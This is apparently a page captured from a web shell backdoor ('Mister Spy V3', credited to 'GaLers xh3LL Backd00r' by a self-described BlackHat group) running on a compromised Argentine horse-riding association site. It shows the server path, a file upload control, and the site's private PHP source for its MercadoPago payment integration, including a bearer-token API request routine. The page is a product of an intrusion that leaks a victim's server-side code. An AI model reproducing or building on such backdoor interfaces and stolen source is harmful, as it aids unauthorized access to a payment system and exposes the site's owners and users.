Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/espanol/library/
Upload File :
Current File : /home/caballoscriollos/www/espanol/library/class.mercadopago.php

<?php

require_once('class.jinetepago.php');
require_once('class.jinetespagos.php');
require_once('class.formaspago.php');
require_once('class.usuarios.php');
require_once('class.jinetes.php');
require_once('class.eventos.php');

class MercadoPago
{ 		
	static public function ProcesarPago(JinetePago $pago)
	{
		if ($pago->IdFormaPago == FormasPago::MercadoPago) {

			$oUsuarios = new Usuarios();
			$oJinetesPagos = new JinetesPagos();
			$usuario = $oUsuarios->GetById($pago->IdUsuario);

			$payload = [
				'items' => [
					[
						'title' => utf8_encode(self::Descripcion($pago)),
						'description' => utf8_encode(self::Descripcion($pago)),
						'quantity' => 1,
						'currency_id' => 'ARS',
						'unit_price' => intval($pago->Total)
					]
				],
				'external_reference' => $pago->IdJinetePago,
				'notification_url' => 'https://caballoscriollos.com/espanol/mercadopago-procesar.php'
			];

			$payload = json_encode($payload);
			
			$response = self::RequestMP('checkout/preferences', 'POST', $payload);

			$pago->CodigoPago = $response->id;

			$oJinetesPagos->Update($pago);

			return $pago;

		}

		return false;
	}

	static public function GetPayment($id) {
		return self::requestMP('v1/payments/' . $id, 'GET', '');
	}

	static private function Descripcion(JinetePago $pago) {

		$jinete = self::GetJinete($pago);
		if ($evento = self::GetEvento($pago)) {
			return 'Pago registro de jinete ' . $jinete->Nombre . ' ' . $jinete->Apellido . ' a evento ' . $evento->Denominacion;
		}

		if ($pago->Anual) {
			return 'Pago anual de jinete' . $jinete->Nombre . ' ' . $jinete->Apellido;
		}

		if ($pago->Semestral) {
			return 'Pago semestral de jinete' . $jinete->Nombre . ' ' . $jinete->Apellido;
		}

		return '';

	}

	static private function GetEvento(JinetePago $pago) {

		if ($pago->IdEvento) {
			$oEventos = new Eventos();
			return $oEventos->GetById($pago->IdEvento);
		}

		return false;

	}

	static private function GetJinete(JinetePago $pago) {

		if ($pago->IdJinete) {
			$oJinetes = new Jinetes();
			return $oJinetes->GetById($pago->IdJinete);
		}

		return false;

	}

	static private function RequestMP($url, $method, $body) {

        $curl = curl_init();

        curl_setopt_array($curl, array(
            CURLOPT_URL => Config::MercadoPagoUrlApi . $url,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_ENCODING => '',
            CURLOPT_MAXREDIRS => 10,
            CURLOPT_TIMEOUT => 0,
            CURLOPT_FOLLOWLOCATION => true,
            CURLOPT_HTTP_VERSION => CURL_HTTP_VERSION_1_1,
            CURLOPT_CUSTOMREQUEST => $method,
            CURLOPT_POSTFIELDS => $body,
            CURLOPT_HTTPHEADER => array(
                'Authorization: Bearer ' . Config::MercadoPagoAccessToken,
                'Content-Type: application/json'
            )
        ));

        $response = json_decode(curl_exec($curl));

        curl_close($curl);

        return $response;
    }
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat